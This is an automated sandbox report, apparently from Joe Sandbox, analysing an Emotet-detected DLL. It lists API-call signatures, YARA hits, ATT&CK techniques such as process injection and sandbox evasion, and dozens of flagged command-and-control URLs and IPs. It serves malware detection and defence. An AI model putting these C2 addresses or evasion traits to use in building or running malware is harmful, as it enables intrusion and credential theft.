Source: C:\Windows\System32\rundll32.exe	Code function: EnterCriticalSection,GetLocaleInfoA,LeaveCriticalSection,EnterCriticalSection,IsValidLocale,SetThreadLocale,LeaveCriticalSection,LeaveCriticalSection,SetLastError,SetLastError,LeaveCriticalSection,LeaveCriticalSection,GetCPInfo,IsValidLocale,SetThreadLocale,SetLastError,SetLastError,	4_2_0043F160
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,SetLastError,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,	4_2_00440BD0
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,SetLastError,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,SetLastError,	4_2_00441BA0
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoA,	4_2_0043FC60
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,SetLastError,	4_2_0043FDE0
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,GetLocaleInfoA,SetLastError,	4_2_00440610

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_00446AA0 GetVersion,GetCurrentThreadId,EnumThreadWindows,MessageBoxA,WriteFile,WriteFile,

3_2_00446AA0

Stealing of Sensitive Information

Yara detected Emotet

Source: Yara match	File source: 00000007.00000002.3282958811.000000000098B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 7.2.regsvr32.exe.2410000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.25255cd0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.1b91a160000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1370000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.25255cd0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1370000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.2410000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.1b91a160000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3286848282.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.860427801.0000000001370000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.858909413.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.860809198.0000025255CD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3285052145.0000000002410000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.858695133.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.860577207.000001B91A160000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	111 Process Injection	2 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	12 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Hidden Files and Directories	LSA Secrets	24 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	3 Obfuscated Files or Information	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Regsvr32	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Rundll32	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 DLL Side-Loading	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 File Deletion	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
aOHLlvfakv.dll	54%	Virustotal		Browse
aOHLlvfakv.dll	28%	ReversingLabs	Win64.Trojan.Emotetcrypt

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://186.194.240.217:443/pescnrsqtrnp/icjmpjlu/	100%	Avira URL Cloud	malware
https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/0	100%	Avira URL Cloud	malware
https://139.59.126.41/0/	100%	Avira URL Cloud	malware
https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/p	100%	Avira URL Cloud	malware
https://164.68.99.3:8080/wW	100%	Avira URL Cloud	malware
https://66.228.32.31:7080/	100%	Avira URL Cloud	malware
https://95.217.221.146:8080/pescnrsqtrnp/icjmpjlu/	100%	Avira URL Cloud	malware
https://66.228.32.31:7080/pescnrsqtrnp/icjmpjlu/	100%	Avira URL Cloud	malware
https://164.90.222.65/pescnrsqtrnp/icjmpjlu/	100%	Avira URL Cloud	malware
https://139.59.126.41/	100%	Avira URL Cloud	malware
https://139.59.126.41/pescnrsqtrnp/icjmpjlu/	100%	Avira URL Cloud	malware
https://164.68.99.3:8080/	100%	Avira URL Cloud	malware
https://167.172.199.165:8080/D	100%	Avira URL Cloud	malware
https://91.121.146.47:8080/pescnrsqtrnp/icjmpjlu/	100%	Avira URL Cloud	malware
https://91.121.146.47:8080/pescnrsqtrnp/icjmpjlu/d	100%	Avira URL Cloud	malware
https://95.217.221.146:8080/pescnrsqtrnp/icjmpjlu//CW	100%	Avira URL Cloud	malware
https://167.172.199.165:8080/pescnrsqtrnp/icjmpjlu/	100%	Avira URL Cloud	malware
https://139.59.126.41/jlu/_E	100%	Avira URL Cloud	malware
https://95.217.221.146:8080/	100%	Avira URL Cloud	malware
https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/L	100%	Avira URL Cloud	malware
https://66.228.32.31:7080/#Ws	100%	Avira URL Cloud	malware
https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/	100%	Avira URL Cloud	malware
https://186.194.240.217/3WC	100%	Avira URL Cloud	malware
https://91.121.146.47:8080/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://164.90.222.65/pescnrsqtrnp/icjmpjlu/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/0	regsvr32.exe, 00000007.00000002.3284094347.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/p	regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://186.194.240.217:443/pescnrsqtrnp/icjmpjlu/	regsvr32.exe, 00000007.00000002.3282958811.000000000098B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://139.59.126.41/0/	regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://164.68.99.3:8080/wW	regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://95.217.221.146:8080/pescnrsqtrnp/icjmpjlu/	regsvr32.exe, 00000007.00000002.3284094347.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://66.228.32.31:7080/	regsvr32.exe, 00000007.00000003.1515080100.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://66.228.32.31:7080/pescnrsqtrnp/icjmpjlu/	regsvr32.exe, 00000007.00000003.1502020156.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1515080100.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://139.59.126.41/	regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://139.59.126.41/pescnrsqtrnp/icjmpjlu/	regsvr32.exe, 00000007.00000002.3284094347.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://164.68.99.3:8080/	regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://167.172.199.165:8080/D	regsvr32.exe, 00000007.00000003.1501981002.0000000002CF5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.3285581454.0000000002CF5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://91.121.146.47:8080/pescnrsqtrnp/icjmpjlu/	regsvr32.exe, 00000007.00000003.1238112714.0000000000A05000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1514297126.0000000000A05000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1502020156.0000000000A05000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.3282958811.000000000098B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://91.121.146.47:8080/pescnrsqtrnp/icjmpjlu/d	regsvr32.exe, 00000007.00000002.3282958811.000000000098B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://95.217.221.146:8080/pescnrsqtrnp/icjmpjlu//CW	regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://167.172.199.165:8080/pescnrsqtrnp/icjmpjlu/	regsvr32.exe, 00000007.00000003.1502020156.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://139.59.126.41/jlu/_E	regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://95.217.221.146:8080/	regsvr32.exe, 00000007.00000002.3285581454.0000000002C90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/L	regsvr32.exe, 00000007.00000002.3284094347.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://66.228.32.31:7080/#Ws	regsvr32.exe, 00000007.00000003.1502020156.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1515080100.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/	regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://186.194.240.217/3WC	regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://91.121.146.47:8080/	regsvr32.exe, 00000007.00000003.1514297126.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1236480763.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1502020156.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.3282958811.00000000009DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
110.232.117.186	unknown	Australia	56038	RACKCORP-APRackCorpAU	true
103.132.242.26	unknown	India	45117	INPL-IN-APIshansNetworkIN	true
104.168.155.143	unknown	United States	54290	HOSTWINDSUS	true
79.137.35.198	unknown	France	16276	OVHFR	true
115.68.227.76	unknown	Korea Republic of	38700	SMILESERV-AS-KRSMILESERVKR	true
163.44.196.120	unknown	Singapore	135161	GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG	true
206.189.28.199	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
107.170.39.149	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
66.228.32.31	unknown	United States	63949	LINODE-APLinodeLLCUS	true
185.4.135.165	unknown	Greece	199246	TOPHOSTGR	true
197.242.150.244	unknown	South Africa	37611	AfrihostZA	true
183.111.227.137	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	true
45.176.232.124	unknown	Colombia	267869	CABLEYTELECOMUNICACIONESDECOLOMBIASASCABLETELCOC	true
169.57.156.166	unknown	United States	36351	SOFTLAYERUS	true
164.68.99.3	unknown	Germany	51167	CONTABODE	true
139.59.126.41	unknown	Singapore	14061	DIGITALOCEAN-ASNUS	true
167.172.253.162	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
167.172.199.165	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
202.129.205.3	unknown	Thailand	45328	NIPA-AS-THNIPATECHNOLOGYCOLTDTH	true
147.139.166.154	unknown	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true
153.92.5.27	unknown	Germany	47583	AS-HOSTINGERLT	true
159.65.88.10	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
172.105.226.75	unknown	United States	63949	LINODE-APLinodeLLCUS	true
101.50.0.91	unknown	Indonesia	55688	BEON-AS-IDPTBeonIntermediaID	true
164.90.222.65	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
213.239.212.5	unknown	Germany	24940	HETZNER-ASDE	true
5.135.159.50	unknown	France	16276	OVHFR	true
186.194.240.217	unknown	Brazil	262733	NetceteraTelecomunicacoesLtdaBR	true
119.59.103.152	unknown	Thailand	56067	METRABYTE-TH453LadplacoutJorakhaebuaTH	true
159.89.202.34	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
91.121.146.47	unknown	France	16276	OVHFR	true
160.16.142.56	unknown	Japan	9370	SAKURA-BSAKURAInternetIncJP	true
201.94.166.162	unknown	Brazil	28573	CLAROSABR	true
91.207.28.33	unknown	Kyrgyzstan	39819	PROHOSTKG	true
103.75.201.2	unknown	Thailand	133496	CDNPLUSCOLTD-AS-APCDNPLUSCOLTDTH	true
103.43.75.120	unknown	Japan	20473	AS-CHOOPAUS	true
188.44.20.25	unknown	Macedonia	57374	GIV-ASMK	true
45.235.8.30	unknown	Brazil	267405	WIKINETTELECOMUNICACOESBR	true
153.126.146.25	unknown	Japan	7684	SAKURA-ASAKURAInternetIncJP	true
72.15.201.15	unknown	United States	13649	ASN-VINSUS	true
187.63.160.88	unknown	Brazil	28169	BITCOMPROVEDORDESERVICOSDEINTERNETLTDABR	true
173.212.193.249	unknown	Germany	51167	CONTABODE	true
82.223.21.224	unknown	Spain	8560	ONEANDONE-ASBrauerstrasse48DE	true
95.217.221.146	unknown	Germany	24940	HETZNER-ASDE	true
149.56.131.28	unknown	Canada	16276	OVHFR	true
182.162.143.56	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
1.234.2.232	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
129.232.188.93	unknown	South Africa	37153	xneeloZA	true
94.23.45.86	unknown	France	16276	OVHFR	true

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	828936
Start date and time:	2023-03-17 17:36:40 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	aOHLlvfakv.dll
Detection:	MAL
Classification:	mal96.troj.evad.winDLL@18/2@0/49
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 33.2% (good quality ratio 31%) Quality average: 76.9% Quality standard deviation: 27.2%
HCA Information:	Successful, ratio: 68% Number of executed functions: 21 Number of non-executed functions: 157
Cookbook Comments:	Found application associated with file extension: .dll Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 8.248.139.254, 8.248.135.254, 8.248.117.254, 8.253.204.249, 67.26.137.254
Excluded domains from analysis (whitelisted): wdcpalt.microsoft.com, fg.download.windowsupdate.com.c.footprint.net, fs.microsoft.com, login.live.com, ctldl.windowsupdate.com, wdcp.microsoft.com, wu-bg-shim.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:42:00	API Interceptor	24x Sleep call for process: regsvr32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
110.232.117.186	Form - 16 Mar, 2023.one	Get hash	malicious	Emotet	Browse
	MBQ24253060297767042_202303161424.one	Get hash	malicious	Emotet	Browse
	iMedPub_LTD_4.one	Get hash	malicious	Emotet	Browse
	iMedPub_LTD_6.one	Get hash	malicious	Emotet	Browse
	INNOVINC.one	Get hash	malicious	Emotet	Browse
	Insight_Medical_Publishing_2.one	Get hash	malicious	Emotet	Browse
	Insight_Medical_Publishing_1.one	Get hash	malicious	Emotet	Browse
	Insight_Medical_Publishing_3.one	Get hash	malicious	Emotet	Browse
	Insight_Medical_Publishing_4.one	Get hash	malicious	Emotet	Browse
	OMICS_Online_1.one	Get hash	malicious	Emotet	Browse
	Insight_Medical_Publishing.one	Get hash	malicious	Emotet	Browse
	Omics_Journal.one	Get hash	malicious	Emotet	Browse
	OMICS.one	Get hash	malicious	Emotet	Browse
	OPAST_GROUP_1.one	Get hash	malicious	Emotet	Browse
	OPAST_GROUP_LLC.one	Get hash	malicious	Emotet	Browse
	OPAST_GROUP.one	Get hash	malicious	Emotet	Browse
	Opast_International.one	Get hash	malicious	Emotet	Browse
	opastonline.com.one	Get hash	malicious	Emotet	Browse
	Opast_Publishing_Group_1.one	Get hash	malicious	Emotet	Browse
	Opast_Publishing_Group.one	Get hash	malicious	Emotet	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RACKCORP-APRackCorpAU	Form - 16 Mar, 2023.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	MBQ24253060297767042_202303161424.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	iMedPub_LTD_4.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	iMedPub_LTD_6.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	INNOVINC.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	Insight_Medical_Publishing_2.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	Insight_Medical_Publishing_1.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	Insight_Medical_Publishing_3.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	Insight_Medical_Publishing_4.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	OMICS_Online_1.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	Insight_Medical_Publishing.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	Omics_Journal.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	OMICS.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	OPAST_GROUP_1.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	OPAST_GROUP_LLC.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	OPAST_GROUP.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	Opast_International.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	opastonline.com.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	Opast_Publishing_Group_1.one	Get hash	malicious	Emotet	Browse	110.232.117.186
	Opast_Publishing_Group.one	Get hash	malicious	Emotet	Browse	110.232.117.186

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
72a589da586844d7f0818ce684948eea	PO0000001552.xls	Get hash	malicious	Emotet	Browse	164.90.222.65
	W-9 form.zip	Get hash	malicious	Emotet	Browse	164.90.222.65
	U_0211.zip	Get hash	malicious	Emotet	Browse	164.90.222.65
	cdmwqddqir.exe	Get hash	malicious	Trickbot	Browse	164.90.222.65
	roben.dll	Get hash	malicious	Trickbot	Browse	164.90.222.65
	c85WWDlKf2.dll	Get hash	malicious	Trickbot	Browse	164.90.222.65
	WLBu7dTvsC.dll	Get hash	malicious	Trickbot	Browse	164.90.222.65
	SecuriteInfo.com.Trojan.GenericKDZ.80412.21668.dll	Get hash	malicious	Trickbot	Browse	164.90.222.65
	ZokRhfJSrx.exe	Get hash	malicious	Trickbot	Browse	164.90.222.65
	84NKc3571B.exe	Get hash	malicious	Trickbot	Browse	164.90.222.65
	SecuriteInfo.com.ML.PE-A.26667.dll	Get hash	malicious	TrickBot	Browse	164.90.222.65
	HOPdc7v13C.exe	Get hash	malicious	TrickBot	Browse	164.90.222.65
	soccer.png.dll	Get hash	malicious	TrickBot	Browse	164.90.222.65
	SXCjsXDXXU.exe	Get hash	malicious	TrickBot	Browse	164.90.222.65
	dngqoAXyDd.exe	Get hash	malicious	TrickBot	Browse	164.90.222.65
	nWKik9o8eY.exe	Get hash	malicious	TrickBot	Browse	164.90.222.65
	5zzdHIYZAG.exe	Get hash	malicious	TrickBot	Browse	164.90.222.65
	r433fCa9zW.exe	Get hash	malicious	TrickBot	Browse	164.90.222.65
	nFHZS2HLKK.exe	Get hash	malicious	TrickBot	Browse	164.90.222.65
	OX6cphJYkB.exe	Get hash	malicious	TrickBot	Browse	164.90.222.65

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 62582 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	62582
Entropy (8bit):	7.996063107774368
Encrypted:	true
SSDEEP:	1536:Jk3XPi43VgGp0gB2itudTSRAn/TWTdWftu:CHa43V5p022iZ4CgA
MD5:	E71C8443AE0BC2E282C73FAEAD0A6DD3
SHA1:	0C110C1B01E68EDFACAEAE64781A37B1995FA94B
SHA-256:	95B0A5ACC5BF70D3ABDFD091D0C9F9063AA4FDE65BD34DBF16786082E1992E72
SHA-512:	B38458C7FA2825AFB72794F374827403D5946B1132E136A0CE075DFD351277CF7D957C88DC8A1E4ADC3BCAE1FA8010DAE3831E268E910D517691DE24326391A6
Malicious:	false
